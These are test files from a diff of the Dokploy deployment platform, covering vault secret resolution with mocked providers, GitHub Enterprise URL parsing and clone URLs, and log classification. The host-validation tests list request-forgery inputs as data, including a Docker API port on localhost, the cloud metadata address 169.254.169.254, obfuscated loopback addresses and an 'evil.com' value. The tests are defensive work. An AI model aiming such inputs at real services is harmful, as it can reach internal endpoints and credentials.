import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
import { scalewayClient } from "@dokploy/server/utils/vault/scaleway";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
beforeEach(() => {
findMany.mockReset();
mockFetch.mockReset();
});
const scope = {
organizationId: "org-1",
projectId: "proj-1",
environmentId: "env-1",
};
const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
describe("resolveVaultReferences", () => {
it("returns input untouched and skips the db when no refs are present", async () => {
const env = "FOO=bar\nBAZ=${{project.QUX}}";
const result = await resolveVaultReferences(env, scope);
expect(result).toBe(env);
expect(findMany).not.toHaveBeenCalled();
});
it("returns null/empty inputs unchanged", async () => {
expect(await resolveVaultReferences(null, scope)).toBeNull();
expect(await resolveVaultReferences("", scope)).toBe("");
});
it("throws when refs exist but no organization context is given", async () => {
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
).rejects.toThrow("not supported in this context");
});
it("throws for an unknown provider", async () => {
findMany.mockResolvedValue([]);
await expect(
resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
).rejects.toThrow('Vault provider "missing" not found');
});
it("throws when the provider is not assigned to the project", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "other-project", environmentIds: [] }],
},
]);
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
).rejects.toThrow("not enabled for this project/environment");
});
it("throws when the provider is restricted to another environment", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [
{ projectId: "proj-1", environmentIds: ["production-env"] },
],
},
]);
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
).rejects.toThrow("not enabled for this project/environment");
});
it("allows a provider restricted to the matching environment", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
},
]);
mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
const result = await resolveVaultReferences(
"FOO=${{vault.prod.SECRET}}",
scope,
);
expect(result).toBe("FOO=value-1");
});
it("resolves refs through a doppler provider", async () => {
findMany.mockResolvedValue([
{
name: "doppler-prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(
jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
);
const result = await resolveVaultReferences(
"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
scope,
);
expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("throws when the secret is missing in the provider", async () => {
findMany.mockResolvedValue([
{
name: "doppler-prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
await expect(
resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
).rejects.toThrow('secret "MISSING" not found');
});
});
describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
it("resolves entity env sources so sync interpolation sees real values", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
const entity = {
env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
environment: {
environmentId: "env-1",
env: null,
project: {
projectId: "proj-1",
env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
organizationId: "org-1",
},
},
};
const resolved = await withResolvedVaultRefs(entity);
const prepared = prepareEnvironmentVariables(
resolved.env,
resolved.environment.project.env,
resolved.environment.env,
);
expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
});
it("resolves buildArgs and buildSecrets when present", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
const resolved = await withResolvedVaultRefs({
env: "FOO=bar",
buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
buildSecrets: null,
environment: {
environmentId: "env-1",
env: null,
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
},
});
expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
expect(resolved.buildSecrets).toBeNull();
expect(resolved.env).toBe("FOO=bar");
});
it.each([
["service env", { env: "SECRET=${{vault.locked.X}}" }],
["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
])(
"rejects a ref to an unassigned provider placed in the %s",
async (_source, overrides) => {
findMany.mockResolvedValue([
{
name: "locked",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "other-project", environmentIds: [] }],
},
]);
const entity = {
env: (overrides as { env?: string }).env ?? "FOO=bar",
buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
environment: {
environmentId: "env-1",
env:
(overrides as { environmentEnv?: string }).environmentEnv ?? null,
project: {
projectId: "proj-1",
env: (overrides as { projectEnv?: string }).projectEnv ?? null,
organizationId: "org-1",
},
},
};
await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
"not enabled for this project/environment",
);
expect(mockFetch).not.toHaveBeenCalled();
},
);
it("rejects a ref restricted to another environment from the environment env", async () => {
findMany.mockResolvedValue([
{
name: "prod-only",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [
{ projectId: "proj-1", environmentIds: ["production-env"] },
],
},
]);
await expect(
withResolvedVaultRefs({
env: null,
environment: {
environmentId: "dev-env",
env: "SECRET=${{vault.prod-only.X}}",
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
},
}),
).rejects.toThrow("not enabled for this project/environment");
expect(mockFetch).not.toHaveBeenCalled();
});
it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
expect(() =>
prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
).toThrow("Unresolved vault reference");
});
it("keeps working without vault refs", () => {
const prepared = prepareEnvironmentVariables(
"FOO=${{project.BAR}}",
"BAR=baz",
);
expect(prepared).toEqual(["FOO=baz"]);
expect(findMany).not.toHaveBeenCalled();
});
});
describe("hashicorp client", () => {
const config = {
providerType: "hashicorp" as const,
url: "https://vault.example.com",
token: "hvs.token",
mount: "secret",
};
it("rejects refs without a field", async () => {
await expect(
hashicorpClient.getSecrets(config, ["myapp/prod"]),
).rejects.toThrow("expected format <path>:<field>");
});
it("groups refs by path and picks fields from KV v2 data", async () => {
mockFetch.mockResolvedValue(
jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
);
const result = await hashicorpClient.getSecrets(config, [
"myapp/prod:USER",
"myapp/prod:PASS",
]);
expect(result).toEqual({
"myapp/prod:USER": "admin",
"myapp/prod:PASS": "pw",
});
expect(mockFetch).toHaveBeenCalledTimes(1);
expect(mockFetch.mock.calls[0]?.[0]).toBe(
"https://vault.example.com/v1/secret/data/myapp/prod",
);
});
it("throws when a field is missing", async () => {
mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
await expect(
hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
).rejects.toThrow('field "MISSING" not found');
});
it("lists full path:field refs by walking directories", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("/metadata?list=true")) {
return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
}
if (url.includes("/metadata/myapp?list=true")) {
return jsonResponse({ data: { keys: ["prod"] } });
}
if (url.includes("/data/myapp/prod")) {
return jsonResponse({
data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
});
}
if (url.includes("/data/shared")) {
return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
}
return jsonResponse({}, false, 404);
});
const names = await hashicorpClient.listSecretNames?.(config);
expect(names).toEqual([
"myapp/prod:API_KEY",
"myapp/prod:DB_PASSWORD",
"shared:STRIPE_KEY",
]);
});
});
describe("azure client", () => {
const config = {
providerType: "azure" as const,
vaultUri: "https://my-vault.vault.azure.net",
tenantId: "tenant-1",
clientId: "client-1",
clientSecret: "secret-1",
};
it("authenticates and reads secrets by name", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com/tenant-1")) {
return jsonResponse({ access_token: "azure-token" });
}
if (url.includes("/secrets/db-password?")) {
return jsonResponse({ value: "azure-pw" });
}
return jsonResponse({}, false, 404);
});
const result = await azureClient.getSecrets(config, ["db-password"]);
expect(result).toEqual({ "db-password": "azure-pw" });
});
it("throws a clear error for missing secrets", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com")) {
return jsonResponse({ access_token: "azure-token" });
}
return jsonResponse({}, false, 404);
});
await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
'secret "nope" not found',
);
});
it("lists secret names from paged results", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com")) {
return jsonResponse({ access_token: "azure-token" });
}
if (url.includes("skiptoken")) {
return jsonResponse({
value: [{ id: `${config.vaultUri}/secrets/second` }],
nextLink: null,
});
}
return jsonResponse({
value: [{ id: `${config.vaultUri}/secrets/first` }],
nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
});
});
const names = await azureClient.listSecretNames?.(config);
expect(names).toEqual(["first", "second"]);
});
});
describe("doppler client", () => {
it("propagates auth errors with the status code", async () => {
mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
await expect(
dopplerClient.getSecrets(
{ providerType: "doppler", serviceToken: "bad" },
["FOO"],
),
).rejects.toThrow("status 401");
});
});
describe("scaleway client", () => {
const config = {
providerType: "scaleway" as const,
region: "fr-par",
projectId: "project-1",
secretKey: "scw-secret-key",
apiUrl: "https://api.scaleway.com",
};
const accessResponse = (value: string) =>
jsonResponse({
secret_id: "secret-1",
revision: 1,
data: Buffer.from(value).toString("base64"),
});
it("reads a secret by name from the root path and decodes the payload", async () => {
mockFetch.mockResolvedValue(accessResponse("postgres://real"));
const result = await scalewayClient.getSecrets(config, ["db-url"]);
expect(result).toEqual({ "db-url": "postgres://real" });
expect(mockFetch).toHaveBeenCalledTimes(1);
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toBe(
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F",
);
expect((init.headers as Record<string, string>)["X-Auth-Token"]).toBe(
"scw-secret-key",
);
});
it("sends the folder of a path-qualified ref as secret_path", async () => {
mockFetch.mockResolvedValue(accessResponse("value"));
await scalewayClient.getSecrets(config, ["prod/db/password"]);
expect(mockFetch.mock.calls[0]?.[0]).toContain(
"secret_name=password&secret_path=%2Fprod%2Fdb",
);
});
it("extracts a field from a JSON secret and fetches the secret once", async () => {
mockFetch.mockResolvedValue(
accessResponse(JSON.stringify({ user: "admin", port: 5432 })),
);
const result = await scalewayClient.getSecrets(config, [
"db-creds:user",
"db-creds:port",
]);
expect(result).toEqual({
"db-creds:user": "admin",
"db-creds:port": "5432",
});
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("throws when the secret is not JSON but a field is requested", async () => {
mockFetch.mockResolvedValue(accessResponse("plain-value"));
await expect(
scalewayClient.getSecrets(config, ["db-creds:user"]),
).rejects.toThrow("is not JSON");
});
it("throws when the requested field is missing", async () => {
mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" })));
await expect(
scalewayClient.getSecrets(config, ["db-creds:password"]),
).rejects.toThrow('field "password" not found');
});
it("throws a clear error for a missing secret", async () => {
mockFetch.mockResolvedValue(
jsonResponse({ message: "not found" }, false, 404),
);
await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow(
'secret "nope" not found in path "/"',
);
});
it("reports authentication failures with the API message", async () => {
mockFetch.mockResolvedValue(
jsonResponse({ message: "denied authentication" }, false, 403),
);
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
"authentication failed (status 403: denied authentication)",
);
});
it("throws when the secret has no enabled version", async () => {
mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" }));
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
"has no enabled version",
);
});
it("rejects a ref without a secret name", async () => {
await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow(
"expected format <name> or <folder>/<name>[:field]",
);
});
it("tests the connection against the secrets listing", async () => {
mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 }));
await scalewayClient.testConnection(config);
expect(mockFetch.mock.calls[0]?.[0]).toBe(
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1",
);
});
it("lists secret names with their folder prefix", async () => {
mockFetch.mockResolvedValue(
jsonResponse({
secrets: [
{ id: "1", name: "db-url", path: "/" },
{ id: "2", name: "password", path: "/prod/db" },
],
total_count: 2,
}),
);
const names = await scalewayClient.listSecretNames?.(config);
expect(names).toEqual(["db-url", "prod/db/password"]);
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("follows pagination until a short page is returned", async () => {
const page = (start: number, size: number) =>
jsonResponse({
secrets: Array.from({ length: size }, (_, index) => ({
id: String(start + index),
name: `secret-${start + index}`,
path: "/",
})),
});
mockFetch.mockImplementation(async (url: string) =>
url.includes("page=2") ? page(101, 2) : page(1, 100),
);
const names = await scalewayClient.listSecretNames?.(config);
expect(names).toHaveLength(102);
expect(mockFetch).toHaveBeenCalledTimes(2);
});
it("resolves env refs end to end through a scaleway provider", async () => {
findMany.mockResolvedValue([
{
name: "scw-prod",
providerType: "scaleway",
config,
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(accessResponse("s3cret"));
const result = await resolveVaultReferences(
"DB_PASSWORD=${{vault.scw-prod.prod/db-password}}",
scope,
);
expect(result).toBe("DB_PASSWORD=s3cret");
});
});

View File

@ -0,0 +1,106 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// cloneGithubRepository builds a shell command; the only thing under test here
// is which host ends up in the clone URL, so the app auth is stubbed out.
const mockFindGithubById = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/github", () => ({
findGithubById: mockFindGithubById,
}));
vi.mock("@octokit/auth-app", () => ({
createAppAuth: vi.fn(),
}));
vi.mock("octokit", () => ({
Octokit: class {
auth = async () => ({ token: "gh-token" });
},
}));
const { cloneGithubRepository } = await import(
"@dokploy/server/utils/providers/github"
);
const provider = (githubUrl: string) => ({
githubId: "gh-1",
githubUrl,
githubAppId: 1,
githubPrivateKey: "key",
githubInstallationId: "42",
});
const clone = async () => {
const command = await cloneGithubRepository({
appName: "my-app",
owner: "acme",
repository: "web",
branch: "main",
githubId: "gh-1",
enableSubmodules: false,
serverId: null,
});
return command.replace(/\\/g, "");
};
describe("cloneGithubRepository host", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("clones from github.com for a default provider", async () => {
mockFindGithubById.mockResolvedValue(provider("https://github.com"));
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@github.com/acme/web.git",
);
expect(command).not.toContain("ghe.com");
});
it("clones from the Enterprise host, not github.com", async () => {
mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com"));
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@acme.ghe.com/acme/web.git",
);
expect(command).not.toContain("github.com");
});
it("clones from a self-hosted Enterprise Server host", async () => {
mockFindGithubById.mockResolvedValue(
provider("https://github.corp.acme.com"),
);
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@github.corp.acme.com/acme/web.git",
);
});
it("keeps an explicit port in the clone host", async () => {
mockFindGithubById.mockResolvedValue(
provider("https://github.acme.com:8443"),
);
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@github.acme.com:8443/acme/web.git",
);
});
it("falls back to github.com for a provider stored before this feature", async () => {
mockFindGithubById.mockResolvedValue(provider(""));
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@github.com/acme/web.git",
);
});
});

View File

@ -0,0 +1,168 @@
import {
DEFAULT_GITHUB_API_URL,
DEFAULT_GITHUB_URL,
deriveGithubApiUrl,
normalizeGithubUrl,
parseGithubBaseUrl,
} from "@dokploy/server/utils/providers/github";
import { describe, expect, it } from "vitest";
const urlOf = (result: ReturnType<typeof parseGithubBaseUrl>) =>
"url" in result ? result.url : null;
describe("normalizeGithubUrl", () => {
it("defaults to github.com when empty", () => {
expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL);
expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL);
expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL);
expect(normalizeGithubUrl(" ")).toBe(DEFAULT_GITHUB_URL);
});
it("assumes https when no scheme is given", () => {
expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com");
});
it("strips paths, queries and trailing slashes", () => {
expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe(
"https://acme.ghe.com",
);
expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe(
"https://acme.ghe.com",
);
expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe(
"https://github.acme.com",
);
});
it("keeps an explicit port", () => {
expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe(
"https://github.acme.com:8443",
);
});
it("falls back to github.com on unusable input", () => {
expect(normalizeGithubUrl("ftp://github.acme.com")).toBe(
DEFAULT_GITHUB_URL,
);
expect(normalizeGithubUrl("http://github.internal")).toBe(
DEFAULT_GITHUB_URL,
);
expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL);
});
});
describe("parseGithubBaseUrl", () => {
it("accepts github.com and Enterprise hosts", () => {
expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe(
"https://acme.ghe.com",
);
// A self-hosted instance behind the corporate network is a valid target.
expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe(
"https://github.corp.acme.com",
);
expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe(
"https://github.acme.com:8443",
);
});
it("treats an absent value as github.com", () => {
// Not specified is different from specified wrong.
expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL);
expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL);
expect(urlOf(parseGithubBaseUrl(" "))).toBe(DEFAULT_GITHUB_URL);
});
it("rejects plaintext http", () => {
expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error");
expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error");
});
it("rejects dotless hostnames", () => {
expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error");
expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error");
});
it("rejects a dotless hostname hidden behind the DNS root label", () => {
// "metadata." resolves like "metadata" but the trailing dot would satisfy
// a naive `includes(".")` check.
expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error");
expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error");
});
it("never falls back to github.com on a typo", () => {
// The symptom that opened the ticket: a provider silently pointing at
// github.com and reporting that it cannot find the repositories.
for (const typo of [
"htps://acme.ghe.com",
"ftp://acme.ghe.com",
"https://",
"acme .ghe.com",
]) {
const result = parseGithubBaseUrl(typo);
expect(result, typo).toHaveProperty("error");
expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL);
}
});
});
describe("deriveGithubApiUrl", () => {
it("maps github.com to api.github.com", () => {
expect(deriveGithubApiUrl("https://github.com")).toBe(
DEFAULT_GITHUB_API_URL,
);
expect(deriveGithubApiUrl("https://www.github.com")).toBe(
DEFAULT_GITHUB_API_URL,
);
expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL);
});
it("prefixes api. for data residency tenants", () => {
expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe(
"https://api.acme.ghe.com",
);
expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe(
"https://api.americancreditacceptance.ghe.com",
);
});
it("uses /api/v3 for Enterprise Server", () => {
expect(deriveGithubApiUrl("https://github.acme.com")).toBe(
"https://github.acme.com/api/v3",
);
expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe(
"https://github.acme.com:8443/api/v3",
);
});
it("does not treat a lookalike host as data residency", () => {
// Must not match the .ghe.com branch just because the string contains it.
expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe(
"https://ghe.com.acme.io/api/v3",
);
});
it("still detects data residency behind the DNS root label", () => {
// "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall
// through to the /api/v3 branch.
expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe(
"https://api.acme.ghe.com",
);
});
it("maps www.github.com, which a user may well type", () => {
// Not dead weight: GitHub never redirects a manifest there, but the value
// comes from a text field. Without this it would derive
// https://www.github.com/api/v3.
expect(deriveGithubApiUrl("https://www.github.com")).toBe(
DEFAULT_GITHUB_API_URL,
);
});
});
describe("providers created before Enterprise support", () => {
it("keeps pointing at github.com", () => {
// The column defaults to https://github.com, but a null must not break it.
expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL);
expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com");
});
});

View File

@ -0,0 +1,143 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// The gh_init branch runs on a GET the user can be linked into, so a rejected
// host must produce a 400 *before* any outbound request is made.
const mockValidateRequest = vi.hoisted(() => vi.fn());
const mockHasPermission = vi.hoisted(() => vi.fn());
const mockCreateGithub = vi.hoisted(() => vi.fn());
const mockOctokitRequest = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", async (importOriginal) => {
const actual = await importOriginal<typeof import("@dokploy/server")>();
return {
...actual,
validateRequest: mockValidateRequest,
createGithub: mockCreateGithub,
};
});
vi.mock("@dokploy/server/services/permission", () => ({
hasPermission: mockHasPermission,
}));
vi.mock("octokit", () => ({
Octokit: class {
request = mockOctokitRequest;
},
}));
const { default: handler } = await import("@/pages/api/providers/github/setup");
const ORG = "org-1";
const USER = "user-1";
const buildRes = () => {
const res = {
statusCode: 0,
body: undefined as unknown,
redirectedTo: undefined as string | undefined,
status(code: number) {
res.statusCode = code;
return res;
},
json(payload: unknown) {
res.body = payload;
return res;
},
redirect(_code: number, url: string) {
res.redirectedTo = url;
return res;
},
};
return res;
};
const call = async (githubUrl?: string | string[]) => {
const res = buildRes();
const req = {
query: {
code: "manifest-code",
state: `gh_init:${ORG}:${USER}`,
...(githubUrl === undefined ? {} : { githubUrl }),
},
headers: {},
} as unknown as Parameters<typeof handler>[0];
await handler(req, res as unknown as Parameters<typeof handler>[1]);
return res;
};
describe("github setup handler — host validation", () => {
beforeEach(() => {
vi.clearAllMocks();
mockValidateRequest.mockResolvedValue({
user: { id: USER },
session: { activeOrganizationId: ORG },
});
mockHasPermission.mockResolvedValue(true);
mockOctokitRequest.mockResolvedValue({
data: {
name: "Dokploy",
html_url: "https://acme.ghe.com/apps/dokploy",
id: 1,
client_id: "cid",
client_secret: "csecret",
webhook_secret: "wsecret",
pem: "key",
},
});
mockCreateGithub.mockResolvedValue(undefined);
});
it.each([
["http://acme.ghe.com", "plaintext http"],
["http://localhost:2375", "internal service over http"],
["https://metadata", "dotless hostname"],
["htps://acme.ghe.com", "scheme typo"],
])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => {
const res = await call(githubUrl);
expect(res.statusCode).toBe(400);
expect(mockOctokitRequest).not.toHaveBeenCalled();
expect(mockCreateGithub).not.toHaveBeenCalled();
});
it("throws on a repeated parameter instead of silently picking one", async () => {
// ?githubUrl=a&githubUrl=b reaches .trim() on an array.
await expect(
call(["https://acme.ghe.com", "https://evil.com"]),
).rejects.toThrow();
expect(mockCreateGithub).not.toHaveBeenCalled();
});
it("accepts a data residency tenant", async () => {
await call("https://acme.ghe.com");
expect(mockCreateGithub).toHaveBeenCalledWith(
expect.objectContaining({ githubUrl: "https://acme.ghe.com" }),
ORG,
USER,
);
});
it("accepts a self-hosted Enterprise Server host", async () => {
await call("https://github.corp.acme.com");
expect(mockCreateGithub).toHaveBeenCalledWith(
expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }),
ORG,
USER,
);
});
it("treats an absent parameter as github.com", async () => {
await call(undefined);
expect(mockCreateGithub).toHaveBeenCalledWith(
expect.objectContaining({ githubUrl: "https://github.com" }),
ORG,
USER,
);
});
});

View File

@ -0,0 +1,75 @@
import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github";
import { describe, expect, it } from "vitest";
import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
/**
* The client cannot import from @dokploy/server (node-only modules), so
* resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file
* stops the two from drifting apart and they already did once, when the
* client stripped trailing slashes but not paths and the form action disagreed
* with the persisted row.
*
* The invariant: for the same input, both must make the same accept/reject
* decision, and agree on the URL when they accept.
*/
const INPUTS = [
// Accepted
"https://github.com",
"github.com",
"https://acme.ghe.com",
"acme.ghe.com",
"https://github.corp.acme.com",
"https://github.acme.com:8443",
"https://acme.ghe.com/",
"https://acme.ghe.com///",
"https://acme.ghe.com/enterprises/foo",
"https://acme.ghe.com/some/path?x=1",
" acme.ghe.com ",
"https://acme.ghe.com.",
"https://169.254.169.254",
"https://127.0.0.1",
"https://2130706433",
"https://0x7f.1",
"",
" ",
// Rejected
"http://acme.ghe.com",
"http://localhost:2375",
"https://[::1]",
"https://[::ffff:127.0.0.1]",
"https://metadata",
"https://metadata.",
"https://localhost",
"https://localhost.",
"htps://acme.ghe.com",
"ftp://acme.ghe.com",
"https://",
"acme .ghe.com",
"esto no es una url",
];
describe("client and server agree on GitHub base URLs", () => {
it.each(INPUTS)("%j", (input) => {
const client = resolveGithubBaseUrl(input);
const server = parseGithubBaseUrl(input);
const clientAccepted = !client.error;
const serverAccepted = "url" in server;
expect(
clientAccepted,
`accept/reject differs for ${JSON.stringify(input)}`,
).toBe(serverAccepted);
if (clientAccepted && "url" in server) {
expect(client.baseUrl, `resolved URL differs for ${input}`).toBe(
server.url,
);
}
});
it("both treat an empty value as github.com", () => {
expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL);
expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL });
});
});

View File

@ -0,0 +1,42 @@
import { getLogType } from "@/components/dashboard/docker/logs/utils";
import { expect, test } from "vitest";
test("classifies real failures as error", () => {
expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
expect(getLogType("[ERROR] something went wrong").type).toBe("error");
expect(getLogType("Deployment failed").type).toBe("error");
expect(
getLogType(
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
).type,
).toBe("error");
});
test("does not classify explicit non-error key/values as error (#4538)", () => {
// ofelia job-completion summary for a successful run
expect(
getLogType(
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
).type,
).not.toBe("error");
expect(getLogType("request done, error: null").type).not.toBe("error");
expect(getLogType("checks passed, failures=0").type).not.toBe("error");
expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
expect(getLogType('job done failed=false error=""').type).not.toBe("error");
});
test("keeps errors whose value merely starts with a no-error word", () => {
expect(getLogType("connect failed: no route to host").type).toBe("error");
expect(getLogType("connection failed: no such host").type).toBe("error");
expect(
getLogType("error: none of the configured nodes are available").type,
).toBe("error");
expect(getLogType("error: nil pointer dereference").type).toBe("error");
expect(getLogType("request failed: 0 bytes received").type).toBe("error");
});
test("keeps statusCode-based classification", () => {
expect(getLogType('{"statusCode": "500"}').type).toBe("error");
expect(getLogType('{"statusCode": "204"}').type).toBe("success");
});

View File

@ -39,6 +39,7 @@ const ENTERPRISE_RESOURCES = [
"logs",
"monitoring",
"auditLog",
"vaultProvider",
];
describe("enterpriseOnlyResources set", () => {

View File

@ -55,6 +55,28 @@ describe("processLogs", () => {
expect(result.data).toHaveLength(2);
});
it("should not throw when filtering by hostname and an entry has no RequestHost", () => {
const entryWithoutRequestHost = sampleLogEntry.replace(
/"RequestHost":"[^"]*",/,
"",
);
const mixedEntries = `${sampleLogEntry}\n${entryWithoutRequestHost}`;
expect(() =>
parseRawConfig(mixedEntries, undefined, undefined, "traefik.me"),
).not.toThrow();
const result = parseRawConfig(
mixedEntries,
undefined,
undefined,
"traefik.me",
);
expect(result.totalCount).toBe(1);
expect(result.data[0]?.RequestHost).toBe("s222-umami-c381af.traefik.me");
});
it("should filter out Dokploy dashboard requests", () => {
